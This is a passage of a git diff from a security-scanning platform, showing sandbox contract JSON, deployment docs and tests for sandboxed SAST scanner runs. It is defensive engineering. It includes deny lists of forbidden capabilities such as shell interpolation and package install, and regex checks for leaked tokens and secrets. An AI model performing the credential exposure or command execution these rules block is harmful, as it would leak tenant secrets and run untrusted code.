'PLATFORM_MANAGED', + immutable: true, + customerExecutableConfigAllowed: false + } + ], + vulnerabilityDatabase: { + databaseVersion: '2026-07-24', + publishedAt: '2026-07-24T00:00:00.000Z', + digest: digest('7'), + signatureRef: 'sig://trivy-db', + provenanceRef: 'provenance://trivy-db' + }, + schemaBundle: { + digest: digest('a'), + signatureRef: 'sig://schema', + provenanceRef: 'provenance://schema' + }, + normalizerBundle: { + digest: digest('b'), + signatureRef: 'sig://normalizer', + provenanceRef: 'provenance://normalizer' + }, + sbomSchema: 'CYCLONEDX_JSON', + rollbackRef: 'rollback://scanner-set-v1' + }, + isolationClass: 'HARDENED', + resultIngressRef: 'result-ingress://tenant-runtime/scan-runtime-1', + evidenceOutputRef: 'evidence-output://tenant-runtime/scan-runtime-1', + auditSinkRef: 'audit-sink://tenant-runtime/scan-runtime-1', + forbiddenCapabilities: [...SAST_FORBIDDEN_CAPABILITIES], + createdAt: new Date().toISOString() + }; +} + +function scannerDescriptor( + scanner: 'OPENGREP' | 'TRIVY' | 'SYFT', + version: string, + imageCharacter: string, + wrapperCharacter: string +) { + return { + scanner, + version, + digest: digest(imageCharacter), + signatureRef: `sig://scanner/${scanner.toLowerCase()}`, + provenanceRef: `provenance://scanner/${scanner.toLowerCase()}`, + sbomRef: `sbom://scanner/${scanner.toLowerCase()}`, + wrapper: { + digest: digest(wrapperCharacter), + signatureRef: `sig://wrapper/${scanner.toLowerCase()}`, + provenanceRef: `provenance://wrapper/${scanner.toLowerCase()}` + } + }; +} + +function processObservation( + invocation: SastScannerInvocation, + overrides: Partial = {} +): SastScannerProcessObservation { + const startedAt = new Date(Date.now() + 5).toISOString(); + const completedAt = new Date(Date.now() + 10).toISOString(); + return { + scanner: invocation.scanner, + scannerVersion: invocation.scannerVersion, + scannerImageDigest: invocation.scannerImageDigest, + wrapperDigest: invocation.wrapperDigest, + ruleBundleDigest: invocation.ruleBundleDigest, + vulnerabilityDatabaseDigest: invocation.vulnerabilityDatabaseDigest, + scannerWorkspaceInventoryDigest: invocation.preflightInventoryDigest, + exitCode: 0, + timedOut: false, + outputLimitExceeded: false, + startedAt, + completedAt, + stdout: { + byteSize: 0, + contentDigest: digest('0'), + truncated: false, + secretRedactionApplied: true + }, + stderr: { + byteSize: 0, + contentDigest: digest('0'), + truncated: false, + secretRedactionApplied: true + }, + resources: { + cpuTimeMilliseconds: 10, + peakMemoryBytes: 1024, + bytesRead: 640, + bytesWritten: 256, + peakProcessCount: 1, + peakFileDescriptorCount: 8 + }, + artifact: { + artifactRef: `result-ingress://tenant-runtime/scan-runtime-1/${invocation.scanner.toLowerCase()}`, + contentDigest: digest('f'), + byteSize: 256, + recordCount: 1, + truncated: false + }, + ...overrides + }; +} + +function cleanupObservation( + request: SastScannerWrapperExecutionRequest +) { + return { + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptId: request.attemptId, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + credentialRevokedAndWiped: true as const, + scannerProcessesTerminated: true as const, + writableVolumesDestroyed: true as const, + microVmTerminated: true as const, + resultIngressClosed: true as const, + completedAt: new Date().toISOString(), + nonce: 'e'.repeat(32) + }; +} diff --git a/apps/api/test/scan-plane/scan-plane-production-read.e2e-spec.ts b/apps/api/test/scan-plane/scan-plane-production-read.e2e-spec.ts new file mode 100644 index 0000000..16a4b1f --- /dev/null +++ b/apps/api/test/scan-plane/scan-plane-production-read.e2e-spec.ts @@ -0,0 +1,78 @@ +import { ScanPlaneService } from '../../src/scan-plane/scan-plane.service'; + +describe('Scan Plane production reads', () => { + it('reads tenant-scoped durable scanner metadata without artifact references', async () => { + const previousNodeEnv = process.env.NODE_ENV; + const previousMode = process.env.ANALYSIS_CLIENT_MODE; + process.env.NODE_ENV = 'production'; + process.env.ANALYSIS_CLIENT_MODE = 'internal'; + const findMany = jest.fn().mockResolvedValue([ + { + id: 'scanner-run-1', + tenantId: 'tenant-1', + scanRequestId: 'scan-1', + scanner: 'OPENGREP', + scannerVersion: '1.1.0', + status: 'COMPLETED', + required: true, + scannerImageDigest: 'sha256:image', + wrapperDigest: 'sha256:wrapper', + ruleBundleDigest: 'sha256:rules', + databaseDigest: null, + scannerSetDigest: 'sha256:set', + profileId: 'JAVA_DEEP_V1', + profileDigest: 'sha256:profile', + exitCode: 0, + terminationSignal: null, + timedOut: false, + outputLimitExceeded: false, + durationMilliseconds: 100, + startedAt: new Date('2026-07-24T12:00:00.000Z'), + completedAt: new Date('2026-07-24T12:00:00.100Z') + } + ]); + const service = new ScanPlaneService( + {} as never, + {} as never, + {} as never, + { scannerRun: { findMany } } as never + ); + + try { + await expect( + service.listScannerRuns('tenant-1', 'scan-1') + ).resolves.toEqual([ + expect.objectContaining({ + id: 'scanner-run-1', + required: true, + scannerImageDigest: 'sha256:image', + exitCode: 0, + startedAt: '2026-07-24T12:00:00.000Z', + completedAt: '2026-07-24T12:00:00.100Z' + }) + ]); + const query = findMany.mock.calls[0][0] as { + where: Record; + select: Record; + }; + expect(query.where).toEqual({ + tenantId: 'tenant-1', + scanRequestId: 'scan-1' + }); + expect(query.select).not.toHaveProperty('rawArtifactObjectKey'); + expect(query.select).not.toHaveProperty('artifactMetadata'); + expect(query.select).not.toHaveProperty('preflightAttestationRef'); + } finally { + if (previousNodeEnv === undefined) { + delete process.env.NODE_ENV; + } else { + process.env.NODE_ENV = previousNodeEnv; + } + if (previousMode === undefined) { + delete process.env.ANALYSIS_CLIENT_MODE; + } else { + process.env.ANALYSIS_CLIENT_MODE = previousMode; + } + } + }); +}); diff --git a/apps/api/test/scan-plane/scan-plane.e2e-spec.ts b/apps/api/test/scan-plane/scan-plane.e2e-spec.ts index d2443c5..3ece818 100644 --- a/apps/api/test/scan-plane/scan-plane.e2e-spec.ts +++ b/apps/api/test/scan-plane/scan-plane.e2e-spec.ts @@ -4,10 +4,16 @@ import request from "supertest"; import { SessionAuthGuard } from '../../src/auth/guards/session-auth.guard'; import { InternalServiceGuard } from '../../src/common/security/internal-service.guard'; import { ControlPlaneService } from '../../src/control-plane/control-plane.service'; +import { ScannerSandboxRuntimeProvider } from '../../src/scan-plane/scanner-sandbox-runtime.provider'; import { TestInternalServiceGuard, TestSessionAuthGuard } from '../support/security-guards'; describe("Scan Plane mock pipeline skeleton (e2e)", () => { let app: INestApplication; + const scannerRuntimeProvider = { + readRepositoryManifest: jest.fn(), + executeScanner: jest.fn(), + cleanup: jest.fn() + }; beforeAll(async () => { process.env.NODE_ENV = "test"; @@ -51,6 +57,8 @@ describe("Scan Plane mock pipeline skeleton (e2e)", () => { : 'scanner-set-v1' })) }) + .overrideProvider(ScannerSandboxRuntimeProvider) + .useValue(scannerRuntimeProvider) .overrideGuard(SessionAuthGuard) .useClass(TestSessionAuthGuard) .overrideGuard(InternalServiceGuard) @@ -69,6 +77,10 @@ describe("Scan Plane mock pipeline skeleton (e2e)", () => { } }); + beforeEach(() => { + jest.clearAllMocks(); + }); + const dataOf = (body: { data?: T } | T): T => { if (body && typeof body === "object" && "data" in body) { return (body as { data: T }).data; @@ -133,7 +145,23 @@ describe("Scan Plane mock pipeline skeleton (e2e)", () => { .get("/api/scan-plane/scanner-runs") .query({ tenantId: "tenant_reads", scanRequestId: "scan_request_2" }) .expect(200); - expect(dataOf(scannerRuns.body)).toHaveLength(3); + const scannerRunData = dataOf>>( + scannerRuns.body + ); + expect(scannerRunData).toHaveLength(3); + expect(scannerRunData[0]).toEqual( + expect.objectContaining({ + scanner: 'OPENGREP', + required: true, + scannerImageDigest: null, + wrapperDigest: null, + exitCode: null, + terminationSignal: null, + startedAt: null, + completedAt: null + }) + ); + expect(scannerRunData[0]).not.toHaveProperty('rawArtifactObjectKey'); const findings = await request(app.getHttpServer()) .get("/api/findings") @@ -152,7 +180,7 @@ describe("Scan Plane mock pipeline skeleton (e2e)", () => { expect(evidenceData[0].objectKey).toContain("tenant_reads/scan_request_2/evidence/"); }); - it("executes scanner adapters through sandbox metadata without package install or credential leakage", async () => { + it("rejects the legacy caller-controlled workspace, timeout, and isolation execution shape", async () => { const response = await request(app.getHttpServer()) .post("/api/scan-plane/scanner-runs/execute") .send({ @@ -163,83 +191,23 @@ describe("Scan Plane mock pipeline skeleton (e2e)", () => { isolationClass: "HARDENED", timeoutSeconds: 120 }) - .expect(201); + .expect(403); - const responseData = dataOf<{ - scannerRuns: Array>; - evidencePacks: Array>; - adapterInvocations: Array<{ - scanner: string; - command: string; - args: string[]; - sandbox: Record; - }>; - }>(response.body); - - expect(responseData.scannerRuns).toEqual([ - expect.objectContaining({ scanner: "OPENGREP", status: "COMPLETED" }), - expect.objectContaining({ scanner: "TRIVY", status: "COMPLETED" }), - expect.objectContaining({ scanner: "SYFT", status: "COMPLETED" }) - ]); - expect(responseData.adapterInvocations).toEqual([ - expect.objectContaining({ - scanner: "OPENGREP", - command: "opengrep", - args: expect.arrayContaining(["--json", "--timeout", "120", "sandbox://tenant_exec/scan_request_3/workspace"]), - sandbox: expect.objectContaining({ - isolationClass: "HARDENED", - networkEgress: false, - readOnlyWorkspace: true, - packageInstallAllowed: false, - buildAllowed: false - }) - }), - expect.objectContaining({ - scanner: "TRIVY", - command: "trivy", - args: expect.arrayContaining(["fs", "--format", "json", "--timeout", "120s", "sandbox://tenant_exec/scan_request_3/workspace"]), - sandbox: expect.objectContaining({ - networkEgress: false, - readOnlyWorkspace: true, - packageInstallAllowed: false, - buildAllowed: false - }) - }), - expect.objectContaining({ - scanner: "SYFT", - command: "syft", - args: expect.arrayContaining(["sandbox://tenant_exec/scan_request_3/workspace", "-o", "json"]), - sandbox: expect.objectContaining({ - networkEgress: false, - readOnlyWorkspace: true, - packageInstallAllowed: false, - buildAllowed: false - }) - }) - ]); - expect(responseData.evidencePacks).toEqual([ - expect.objectContaining({ - tenantId: "tenant_exec", - scanRequestId: "scan_request_3", - classification: "SHORT_LIVED_EVIDENCE", - redacted: true - }) - ]); - expect(JSON.stringify(responseData)).not.toMatch( - /accessToken|refreshToken|tokenValue|secretValue|sourceArchive|fullRepository|npm install|pip install|mvn package|gradle build/i + expect(JSON.stringify(response.body)).not.toMatch( + /accessToken|refreshToken|tokenValue|secretValue/i ); + expect(scannerRuntimeProvider.readRepositoryManifest).not.toHaveBeenCalled(); + expect(scannerRuntimeProvider.executeScanner).not.toHaveBeenCalled(); + expect(scannerRuntimeProvider.cleanup).not.toHaveBeenCalled(); }); it("creates metadata-only evidence access requests without leaking repository content or credentials", async () => { const scanRun = await request(app.getHttpServer()) - .post("/api/scan-plane/scanner-runs/execute") + .post("/api/scan-plane/mock-runs") .send({ tenantId: "tenant_evidence", scanRequestId: "scan_request_4", - scannerSetVersion: "scanner-set-v2", - workspaceRef: "sandbox://tenant_evidence/scan_request_4/workspace", - isolationClass: "HARDENED", - timeoutSeconds: 120 + scannerSetVersion: "scanner-set-v2" }) .expect(201); diff --git a/apps/api/test/scan-plane/scanner-runtime-persistence.e2e-spec.ts b/apps/api/test/scan-plane/scanner-runtime-persistence.e2e-spec.ts new file mode 100644 index 0000000..c1022e2 --- /dev/null +++ b/apps/api/test/scan-plane/scanner-runtime-persistence.e2e-spec.ts @@ -0,0 +1,244 @@ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; + +import { UnavailableScannerSandboxRuntimeProvider } from '../../src/scan-plane/scanner-sandbox-runtime.provider'; + +describe('Scanner runtime persistence and deployment contract', () => { + it('persists attempt-bound scanner and destruction metadata with database completion guards', () => { + const schema = readFileSync( + resolve(__dirname, '../../prisma/schema.prisma'), + 'utf8' + ); + const migration = readFileSync( + resolve( + __dirname, + '../../prisma/migrations/20260724150000_sast_scanner_runtime_lifecycle/migration.sql' + ), + 'utf8' + ); + const onlineSchema = readFileSync( + resolve( + __dirname, + '../../scripts/apply-online-sast-runtime-schema.mjs' + ), + 'utf8' + ); + const packageJson = JSON.parse( + readFileSync(resolve(__dirname, '../../package.json'), 'utf8') + ) as { + scripts: Record; + }; + + expect(schema).toMatch(/model SastScanAttempt \{/); + expect(schema).toMatch(/@@unique\(\[scanRequestId, attemptNumber\]\)/); + expect(schema).toMatch( + /@@unique\(\[id, tenantId\], map: "SastScanAttempt_id_tenantId_key"\)/ + ); + expect(schema).toMatch(/cleanupEvidenceDigest\s+String\?/); + expect(schema).toMatch(/finalAuditEventId\s+String\?/); + expect(schema).toMatch(/attemptDeadlineAt\s+DateTime/); + expect(schema).toMatch(/scannerWorkspaceInventoryDigest\s+String\?/); + expect(schema).toMatch(/resourceMetadata\s+Json\?/); + expect(schema).toMatch(/artifactMetadata\s+Json\?/); + expect(schema).toMatch(/@@unique\(\[attemptId, scanner\]\)/); + + expect(migration).toContain( + 'CONSTRAINT "SastScanAttempt_attempt_number_check"' + ); + expect(migration).toContain( + 'CONSTRAINT "SastScanAttempt_deadline_check"' + ); + expect(migration).toContain( + 'CONSTRAINT "SastScanAttempt_completed_cleanup_check"' + ); + expect(migration).toContain( + 'CONSTRAINT "SastScanAttempt_retry_eligibility_check"' + ); + expect(migration).toContain( + 'CONSTRAINT "SastScanAttempt_lifecycle_state_check"' + ); + expect(migration).toContain( + 'CREATE UNIQUE INDEX "SastScanAttempt_one_active_per_scan_key"' + ); + expect(migration).toContain( + `WHERE "stage" IN ('VALIDATING', 'SCANNING', 'CLEANUP_PENDING')` + ); + expect(migration).toContain( + 'CREATE INDEX "SastScanAttempt_stage_attemptDeadlineAt_idx"' + ); + expect(migration).toContain( + '"cleanupEvidence" IS NOT NULL' + ); + expect(migration).toContain( + '"finalAuditEventId" IS NOT NULL' + ); + for (const condition of [ + 'credentialRevokedAndWiped', + 'scannerProcessesTerminated', + 'writableVolumesDestroyed', + 'microVmTerminated', + 'resultIngressClosed' + ]) { + expect(migration).toContain( + `'{observation,${condition}}' = 'true'` + ); + } + expect(onlineSchema).toContain( + "name: 'ScannerRun_exit_code_check'" + ); + expect(onlineSchema).toContain( + "name: 'ScannerRun_runtime_metadata_check'" + ); + expect(onlineSchema).toContain( + `("artifactMetadata" ->> 'byteSize')::numeric > 0` + ); + expect(onlineSchema).toContain( + 'CREATE UNIQUE INDEX CONCURRENTLY IF NOT EXISTS "ScannerRun_attemptId_scanner_key"' + ); + expect(onlineSchema).toContain( + 'CREATE INDEX CONCURRENTLY IF NOT EXISTS "AuditEvent_attemptId_idx"' + ); + expect(onlineSchema).toContain('VALIDATE CONSTRAINT'); + expect(onlineSchema).toContain( + "name: 'ScannerRun_attempt_scope_fkey'" + ); + expect(onlineSchema).toContain( + 'FOREIGN KEY ("attemptId", "tenantId", "repositoryBindingId", "scanRequestId")' + ); + expect(onlineSchema).toContain( + "name: 'AuditEvent_attempt_scope_fkey'" + ); + expect(onlineSchema).toContain( + 'FOREIGN KEY ("attemptId", "tenantId")' + ); + expect(onlineSchema).toContain( + "name: 'SastScanAttempt_finalAuditEventId_fkey'" + ); + expect(onlineSchema).toContain( + 'FOREIGN KEY ("finalAuditEventId", "id", "tenantId")' + ); + expect(onlineSchema).toContain( + 'REFERENCES "AuditEvent"("id", "attemptId", "tenantId")' + ); + expect(onlineSchema).toMatch(/OR COALESCE\(/); + expect(onlineSchema).toContain(' NOT VALID'); + expect(onlineSchema).toContain('DROP INDEX CONCURRENTLY IF EXISTS'); + expect(migration).not.toMatch( + /^\s*CREATE (?:UNIQUE )?INDEX CONCURRENTLY/m + ); + expect(packageJson.scripts['prisma:migrate:deploy']).toContain( + 'corepack pnpm prisma:online-schema' + ); + expect(packageJson.scripts['prisma:online-schema']).toBe( + 'node scripts/apply-online-sast-runtime-schema.mjs' + ); + }); + + it('keeps the deployment contract non-root, offline, bounded, and mock-free', () => { + const contract = JSON.parse( + readFileSync( + resolve( + __dirname, + '../../../../deploy/scanner-sandbox/provisioning-contract.json' + ), + 'utf8' + ) + ) as Record; + + expect(contract).toMatchObject({ + sandboxProvider: 'MICROVM', + networkEgressPolicy: 'PHASE_BOUND_DENY_BY_DEFAULT', + networkEgressPhases: { + REPOSITORY_FETCH: { + allowedDestinationPolicy: 'BOUND_SCM_HOST_ONLY', + boundHostSource: 'SIGNED_REPOSITORY_BINDING', + unboundPublicInternetEgressAllowed: false + }, + SCANNER_EXECUTION: { + allowedDestinationPolicy: + 'RESULT_INGRESS_AND_TELEMETRY_ONLY', + boundScmHostAllowed: false + } + }, + publicInternetEgressAllowed: false, + cloudMetadataAccessAllowed: false, + runtimeAssetUpdateAllowed: false, + ttlSeconds: 3960, + ttlPolicy: { + source: 'SIGNED_PROFILE', + maximumExecutionSeconds: 3600, + cleanupGraceSeconds: 60, + hardMaximumSeconds: 3960 + }, + executionBoundary: { + runAsNonRoot: true, + readOnlyRootFilesystem: true, + readOnlyRepositoryMount: '/workspace/repository', + privateWritableOutputMount: '/workspace/output', + workingDirectory: '/workspace/output', + shellInterpolationAllowed: false, + customerArgumentsAllowed: false, + customerEnvironmentAllowed: false, + customerExecutableConfigAllowed: false, + customerSuppressionConfigAllowed: false, + repositoryToolConfigDiscoveryAllowed: false, + signedAttemptNumberRequired: true, + signedAttemptDeadlineRequired: true, + signedAttemptDeadlinePersistenceRequired: true, + providerAbortSignalRequired: true, + resourceLimitsSource: 'SIGNED_PROFILE', + cleanupTimeoutSeconds: 60, + orphanedAttemptReconciliationRequired: true, + orphanedAttemptReconciliationIntervalMilliseconds: 10_000 + }, + scannerInputBoundary: { + deepScanMount: '/workspace/repository', + fastScanMountTemplate: + '/workspace/selected/', + fastScanMaterializer: 'PLATFORM_OWNED', + fastScanSelectionSource: 'ATTESTED_PATH_ALLOWLIST', + fastScanContentBinding: 'PREFLIGHT_INVENTORY_DIGEST', + fastScanReadOnly: true, + fastScanUnselectedEntriesAllowed: false, + scannerReceivesRepositoryRootForFastScan: false, + preScannerProjectionAttestationRequired: true, + projectionMismatchPolicy: 'FAIL_CLOSED' + }, + productionMockAnalysisAllowed: false, + scannerEntrypoints: { + OPENGREP: { + repositoryIgnoreFilesAllowed: false, + inlineNosemSuppressionAllowed: false, + versionCheckAllowed: false + }, + TRIVY: { + configPathSource: 'PINNED_WRAPPER_DIGEST', + repositoryIgnoreFilesAllowed: false, + suppressedResultsMustBeEmitted: true, + timeoutSource: 'SIGNED_PROFILE' + }, + SYFT: { + configPathSource: 'PINNED_WRAPPER_DIGEST', + repositoryConfigDiscoveryAllowed: false, + archiveExpansionAllowed: false, + packageManagerOrCompilerInvocationAllowed: false + } + }, + defaultRuntimeProvider: { + mode: 'FAIL_CLOSED_UNTIL_LIVE_MICROVM_ADAPTER_INSTALLED' + } + }); + }); + + it('fails closed when no live microVM adapter is installed', async () => { + const provider = new UnavailableScannerSandboxRuntimeProvider(); + + await expect( + provider.readRepositoryManifest() + ).rejects.toMatchObject({ + failureClass: 'RETRYABLE_INFRASTRUCTURE', + reasonCode: 'SCANNER_SANDBOX_PROVIDER_UNAVAILABLE', + retryAllowed: true + }); + }); +}); diff --git a/apps/api/test/scan/scan.processor.e2e-spec.ts b/apps/api/test/scan/scan.processor.e2e-spec.ts index d0765e6..aade03d 100644 --- a/apps/api/test/scan/scan.processor.e2e-spec.ts +++ b/apps/api/test/scan/scan.processor.e2e-spec.ts @@ -287,4 +287,44 @@ describe('ScanProcessor', () => { } }); }); + + it('blocks production legacy processing before token decryption or source collection', async () => { + const previousNodeEnv = process.env.NODE_ENV; + const previousMode = process.env.ANALYSIS_CLIENT_MODE; + process.env.NODE_ENV = 'production'; + process.env.ANALYSIS_CLIENT_MODE = 'internal'; + const prisma = { + scan: { findUnique: jest.fn() } + }; + const tokenCrypto = { decrypt: jest.fn() }; + const collector = { collect: jest.fn() }; + const analysisClient = { analyze: jest.fn() }; + const processor = new ScanProcessor( + prisma as never, + tokenCrypto as never, + collector as never, + analysisClient as never + ); + + try { + await expect( + processor.process({ data: { scanId: 'scan-1' } } as never) + ).rejects.toThrow('LEGACY_ANALYSIS_DISABLED'); + expect(prisma.scan.findUnique).not.toHaveBeenCalled(); + expect(tokenCrypto.decrypt).not.toHaveBeenCalled(); + expect(collector.collect).not.toHaveBeenCalled(); + expect(analysisClient.analyze).not.toHaveBeenCalled(); + } finally { + if (previousNodeEnv === undefined) { + delete process.env.NODE_ENV; + } else { + process.env.NODE_ENV = previousNodeEnv; + } + if (previousMode === undefined) { + delete process.env.ANALYSIS_CLIENT_MODE; + } else { + process.env.ANALYSIS_CLIENT_MODE = previousMode; + } + } + }); }); diff --git a/apps/api/test/scan/scan.service.e2e-spec.ts b/apps/api/test/scan/scan.service.e2e-spec.ts index 3ffcc65..29a6693 100644 --- a/apps/api/test/scan/scan.service.e2e-spec.ts +++ b/apps/api/test/scan/scan.service.e2e-spec.ts @@ -469,4 +469,48 @@ describe('ScanService', () => { totalPages: 2 }); }); + + it('blocks the legacy scan path before repository or credential access outside tests', async () => { + const previousNodeEnv = process.env.NODE_ENV; + const previousMode = process.env.ANALYSIS_CLIENT_MODE; + process.env.NODE_ENV = 'production'; + process.env.ANALYSIS_CLIENT_MODE = 'internal'; + const prisma = { + connectedRepo: { findFirst: jest.fn() }, + oAuthToken: { findFirst: jest.fn() } + }; + const service = new ScanService( + prisma as never, + { add: jest.fn() } as never, + { get: jest.fn() } as never, + { decrypt: jest.fn() } as never + ); + + try { + await expect( + service.createScan({ + userId: 'user-1', + connectedRepoId: 'repo-1', + branch: 'main' + }) + ).rejects.toMatchObject({ + response: expect.objectContaining({ + errorCode: 'LEGACY_ANALYSIS_DISABLED' + }) + }); + expect(prisma.connectedRepo.findFirst).not.toHaveBeenCalled(); + expect(prisma.oAuthToken.findFirst).not.toHaveBeenCalled(); + } finally { + if (previousNodeEnv === undefined) { + delete process.env.NODE_ENV; + } else { + process.env.NODE_ENV = previousNodeEnv; + } + if (previousMode === undefined) { + delete process.env.ANALYSIS_CLIENT_MODE; + } else { + process.env.ANALYSIS_CLIENT_MODE = previousMode; + } + } + }); }); diff --git a/deploy/oracle/.env.example b/deploy/oracle/.env.example index 27ee9e0..8290b6a 100644 --- a/deploy/oracle/.env.example +++ b/deploy/oracle/.env.example @@ -20,12 +20,14 @@ THROTTLE_LIMIT=120 TOKEN_ENCRYPTION_KEY=REPLACE_WITH_YOUR_OWN_64_HEX_CHARACTER_KEY WORKLOAD_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_WORKLOAD_ATTESTATION_KEY PREFLIGHT_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_PREFLIGHT_ATTESTATION_KEY +SANDBOX_ATTESTATION_KEY=REPLACE_WITH_A_DISTINCT_64_HEX_SANDBOX_ATTESTATION_KEY CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS=60000 +SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS=10000 GITHUB_CLIENT_ID=github-client-id GITHUB_CLIENT_SECRET=github-client-secret GITLAB_CLIENT_ID=gitlab-client-id GITLAB_CLIENT_SECRET=gitlab-client-secret -ANALYSIS_CLIENT_MODE=mock +ANALYSIS_CLIENT_MODE=internal AI_PORT=8000 AI_SERVER_URL=http://ai:8000 USE_INTERNAL_AI=false diff --git a/deploy/oracle/BOOTSTRAP.md b/deploy/oracle/BOOTSTRAP.md index 120f887..d9c06c3 100644 --- a/deploy/oracle/BOOTSTRAP.md +++ b/deploy/oracle/BOOTSTRAP.md @@ -89,7 +89,10 @@ Required runtime values include: - `TOKEN_ENCRYPTION_KEY` - `WORKLOAD_ATTESTATION_KEY` - `PREFLIGHT_ATTESTATION_KEY` +- `SANDBOX_ATTESTATION_KEY` - `CREDENTIAL_LEASE_EXPIRY_INTERVAL_MS` +- `SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS` +- `ANALYSIS_CLIENT_MODE=internal` - OAuth client ids and secrets - `AI_PORT` - `AI_SERVER_URL` @@ -101,7 +104,8 @@ Required runtime values include: - `GRAFANA_CLOUD_METRICS_PASSWORD` - `GRAFANA_CLOUD_INSTANCE_NAME` -Generate the encryption and both attestation keys independently; the API rejects any reused key. +Generate the encryption key and all three attestation keys independently; the API rejects any +reused key. Production configuration rejects `ANALYSIS_CLIENT_MODE=mock`. ## 7. Bootstrap Infra Once @@ -174,6 +178,13 @@ After bootstrap, trigger one deployment and confirm: - `docker compose -f docker-compose.app.yml config | grep '^name:'` - `docker compose -f docker-compose.infra.yml config | grep '^name:'` - the web container is reachable on port `80` + +The deploy script runs `prisma:migrate:deploy` before starting the refreshed application. +That package command also runs the mandatory idempotent `prisma:online-schema` step: existing +`ScannerRun` and `AuditEvent` indexes are built with `CONCURRENTLY`, then `NOT VALID` +constraints are validated in separate autocommit statements. Do not replace the package +command with a direct `prisma migrate deploy`; an online-schema failure must stop deployment +before application containers are refreshed. - Grafana Cloud Explore shows new Docker logs for `api`, `ai`, and `web` - the Docker integration dashboards begin to populate - Teams receives the deploy result if `TEAMS_WEBHOOK_URL` is configured diff --git a/deploy/scanner-sandbox/provisioning-contract.json b/deploy/scanner-sandbox/provisioning-contract.json index cb39cfd..d07d43a 100644 --- a/deploy/scanner-sandbox/provisioning-contract.json +++ b/deploy/scanner-sandbox/provisioning-contract.json @@ -1,14 +1,122 @@ { "kind": "ScannerSandboxProvisioning", - "version": "004-production-runtime-infrastructure.v1", + "version": "006-production-sast-runtime-design.v1", "sandboxProvider": "MICROVM", "supportedIsolationClasses": [ "HARDENED", "RESTRICTED" ], "defaultIsolationClass": "HARDENED", - "ttlSeconds": 900, - "networkEgressPolicy": "SCM_AND_SCANNER_UPDATES_ONLY", + "ttlSeconds": 3960, + "ttlPolicy": { + "source": "SIGNED_PROFILE", + "maximumExecutionSeconds": 3600, + "provisioningGraceSeconds": 300, + "cleanupGraceSeconds": 60, + "hardMaximumSeconds": 3960 + }, + "networkEgressPolicy": "PHASE_BOUND_DENY_BY_DEFAULT", + "networkEgressPhases": { + "REPOSITORY_FETCH": { + "allowedDestinationPolicy": "BOUND_SCM_HOST_ONLY", + "boundHostSource": "SIGNED_REPOSITORY_BINDING", + "allowedProtocols": [ + "HTTPS" + ], + "unboundPublicInternetEgressAllowed": false, + "resultIngressAllowed": false, + "transitionRequires": [ + "FIXED_COMMIT_FETCHED", + "REMOTE_REMOVED", + "GIT_METADATA_REMOVED", + "CREDENTIAL_WIPED_AND_REVOKED", + "SCM_EGRESS_RULE_REMOVED" + ] + }, + "SCANNER_EXECUTION": { + "allowedDestinationPolicy": "RESULT_INGRESS_AND_TELEMETRY_ONLY", + "boundScmHostAllowed": false, + "runtimeAssetUpdateAllowed": false, + "unboundPublicInternetEgressAllowed": false + }, + "CLEANUP": { + "allowedDestinationPolicy": "CONTROL_PLANE_CLEANUP_EVIDENCE_ONLY", + "boundScmHostAllowed": false, + "resultIngressClosedBeforeCompletion": true, + "unboundPublicInternetEgressAllowed": false + } + }, + "publicInternetEgressAllowed": false, + "cloudMetadataAccessAllowed": false, + "runtimeAssetUpdateAllowed": false, + "executionBoundary": { + "runAsNonRoot": true, + "readOnlyRootFilesystem": true, + "readOnlyRepositoryMount": "/workspace/repository", + "privateWritableOutputMount": "/workspace/output", + "workingDirectory": "/workspace/output", + "shellInterpolationAllowed": false, + "customerArgumentsAllowed": false, + "customerEnvironmentAllowed": false, + "customerExecutableConfigAllowed": false, + "customerSuppressionConfigAllowed": false, + "repositoryToolConfigDiscoveryAllowed": false, + "providerAttestationRequired": true, + "signedAttemptNumberRequired": true, + "preScannerRemanifestRequired": true, + "signedAttemptDeadlineRequired": true, + "signedAttemptDeadlinePersistenceRequired": true, + "providerAbortSignalRequired": true, + "resourceLimitsSource": "SIGNED_PROFILE", + "cleanupTimeoutSeconds": 60, + "orphanedAttemptReconciliationRequired": true, + "orphanedAttemptReconciliationIntervalMilliseconds": 10000 + }, + "scannerInputBoundary": { + "deepScanMount": "/workspace/repository", + "fastScanMountTemplate": "/workspace/selected/", + "fastScanMaterializer": "PLATFORM_OWNED", + "fastScanSelectionSource": "ATTESTED_PATH_ALLOWLIST", + "fastScanContentBinding": "PREFLIGHT_INVENTORY_DIGEST", + "fastScanReadOnly": true, + "fastScanUnselectedEntriesAllowed": false, + "scannerReceivesRepositoryRootForFastScan": false, + "preScannerProjectionAttestationRequired": true, + "projectionMismatchPolicy": "FAIL_CLOSED" + }, + "scannerEntrypoints": { + "OPENGREP": { + "binary": "/opt/aegis/scanners/opengrep", + "output": "OPENGREP_SARIF", + "repositoryIgnoreFilesAllowed": false, + "inlineNosemSuppressionAllowed": false, + "versionCheckAllowed": false, + "runtimeUpdateAllowed": false + }, + "TRIVY": { + "binary": "/opt/aegis/scanners/trivy", + "output": "TRIVY_JSON", + "cachePathShape": "/opt/aegis/assets/trivy//", + "configPathSource": "PINNED_WRAPPER_DIGEST", + "repositoryIgnoreFilesAllowed": false, + "suppressedResultsMustBeEmitted": true, + "timeoutSource": "SIGNED_PROFILE", + "offlineScanRequired": true, + "runtimeUpdateAllowed": false, + "telemetryAllowed": false + }, + "SYFT": { + "binary": "/opt/aegis/scanners/syft", + "output": "CYCLONEDX_JSON", + "configPathSource": "PINNED_WRAPPER_DIGEST", + "repositoryConfigDiscoveryAllowed": false, + "archiveExpansionAllowed": false, + "packageManagerOrCompilerInvocationAllowed": false, + "runtimeUpdateAllowed": false, + "remoteLicenseSearchAllowed": false, + "versionCheckAllowed": false + } + }, "repositoryAccess": { "principal": "REPO_READ", "tokenScope": "tenant-repository-scan", @@ -25,6 +133,13 @@ "PACKAGE_INSTALL", "CUSTOMER_REPOSITORY_BUILD", "DYNAMIC_TESTING", + "SHELL_INTERPOLATION", + "ARBITRARY_COMMAND_OR_ARGUMENT", + "CUSTOMER_ENVIRONMENT", + "CUSTOMER_EXECUTABLE_CONFIG", + 